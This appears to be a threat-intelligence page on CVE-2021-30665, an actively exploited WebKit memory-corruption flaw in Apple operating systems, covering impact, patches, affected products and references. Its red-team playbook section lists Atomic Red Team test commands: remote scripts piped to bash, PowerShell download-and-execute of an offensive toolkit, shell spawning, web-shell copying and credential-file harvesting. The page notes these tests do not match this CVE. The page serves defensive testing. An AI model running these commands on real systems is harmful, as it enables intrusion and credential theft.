CVE-2021-30665
Overview
This vulnerability is a memory corruption flaw caused by improper state management within the WebKit component of Apple operating systems. Specifically, the issue arises from inadequate handling of memory during processing of web content, leading to out-of-bounds memory access. The affected component is the WebKit browser engine embedded in macOS Big Sur, iOS, iPadOS, tvOS, and watchOS versions.
Vulnerability Description
A memory corruption issue was addressed with improved state management. This issue is fixed in watchOS 7.4.1, iOS 14.5.1 and iPadOS 14.5.1, tvOS 14.6, iOS 12.5.3, macOS Big Sur 11.3.1. Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited..
Impact
An attacker can execute arbitrary code remotely by convincing a user to visit a maliciously crafted website or open malicious web content, without requiring any prior authentication. This can lead to full system compromise, including unauthorized access to sensitive data and control over the affected device. The vulnerability enables attackers to bypass user interaction constraints by leveraging the browser engine, posing a significant threat to confidentiality, integrity, and availability of the system.
Solution
Apple addressed this vulnerability through security updates in macOS Big Sur 11.3.1, iOS 14.5.1, iPadOS 14.5.1, tvOS 14.6, watchOS 7.4.1, and iOS 12.5.3. Users and administrators should apply these updates immediately. Detailed patch information and installation instructions are available in Apple's security advisories at https://support.apple.com/en-us/HT212532, https://support.apple.com/en-us/HT212341, and https://support.apple.com/en-us/HT212335.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question pertains to a memory corruption issue that arises from improper state management within various Apple operating systems, including iOS, iPadOS, macOS, watchOS, and tvOS. Memory corruption vulnerabilities typically occur when a program inadvertently modifies memory locations that it should not access, leading to unpredictable behavior. In this case, the flaw allows maliciously crafted web content to exploit the memory management system, potentially enabling an attacker to execute arbitrary code on the affected device. This could result in unauthorized access to sensitive data, manipulation of system processes, or even complete control over the device.
Attack vectors for this vulnerability primarily involve the exploitation of web browsers or applications that render web content. An attacker could craft a malicious webpage or embed harmful scripts within legitimate sites, enticing users to visit or interact with the content. Once the victim engages with the compromised content, the memory corruption flaw can be triggered, allowing the attacker to execute arbitrary code. This scenario highlights a significant risk, as it does not require any advanced technical skills from the user; merely visiting a malicious site could lead to exploitation. Furthermore, the fact that reports indicate this vulnerability may have been actively exploited in the wild underscores the urgency for users to address this risk.
The real-world impact of this vulnerability is profound, particularly for businesses that rely on Apple devices for operations. The potential for arbitrary code execution means that attackers could gain access to sensitive corporate data, intellectual property, or customer information. Such breaches could lead to significant financial losses, reputational damage, and legal repercussions, especially in industries that are heavily regulated. Moreover, the widespread use of Apple devices in both personal and professional settings amplifies the risk, as a successful attack could compromise not just individual users but entire organizations.
To effectively detect and mitigate this vulnerability, organizations should prioritize regular software updates and patches provided by Apple. The company has addressed this issue in several updates, including watchOS 7.4.1, iOS 14.5.1, and macOS Big Sur 11.3.1, among others. Implementing a robust patch management policy ensures that all devices are running the latest versions of their operating systems, thereby reducing the attack surface. Additionally, organizations should consider employing web filtering solutions to block access to known malicious sites and educate users about the risks associated with clicking on untrusted links or downloading unknown content. Regular security training can empower users to recognize potential threats and take proactive measures to protect their devices.
In conclusion, the memory corruption vulnerability affecting various Apple operating systems poses a significant threat to both individual users and businesses. The ability for attackers to execute arbitrary code through malicious web content highlights the critical need for vigilance in software management and user education. By adopting comprehensive detection and mitigation strategies, organizations can better safeguard their assets against the potential fallout from such vulnerabilities.
CSURFACE threat intelligence has identified a marked escalation in the Exploit Prediction Scoring System (EPSS) score for CVE-2021-30665, reflecting a significant increase in the likelihood of exploitation attempts. This surge, driven by a rapid upward trend over the past week, indicates growing adversary interest or capability to leverage this memory corruption vulnerability in Apple operating systems. Although no new specific exploit details have surfaced, the elevated EPSS score—now approaching the upper decile—signals heightened risk to defenders. This development underscores the urgency for security teams to prioritize monitoring for indicators of compromise related to this vulnerability, as the probability of active exploitation in the wild has substantially increased. Consequently, the threat level associated with CVE-2021-30665 should be reassessed as more imminent, warranting increased vigilance despite the absence of fresh exploit intelligence.
Affected Products (6)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Apple | Ipados | All |
cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*
|
|
|
Apple | Iphone Os | All |
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*
|
|
|
Apple | Iphone Os | All |
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*
|
|
|
Apple | Macos | All |
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*
|
|
|
Apple | Tvos | All |
cpe:2.3:o:apple:tvos:*:*:*:*:*:*:*:*
|
|
|
Apple | Watchos | All |
cpe:2.3:o:apple:watchos:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (7)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-30665 |
| support.apple.com |
GitHub CVE
x_refsource_MISC
|
https://support.apple.com/en-us/HT212532 |
| support.apple.com |
GitHub CVE
x_refsource_MISC
|
https://support.apple.com/en-us/HT212341 |
| support.apple.com |
GitHub CVE
x_refsource_MISC
|
https://support.apple.com/en-us/HT212335 |
| support.apple.com |
GitHub CVE
x_refsource_MISC
|
https://support.apple.com/en-us/HT212336 |
| support.apple.com |
GitHub CVE
x_refsource_MISC
|
https://support.apple.com/en-us/HT212339 |
| cisa.gov |
NVD API
Third Party Advisory
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-30665 |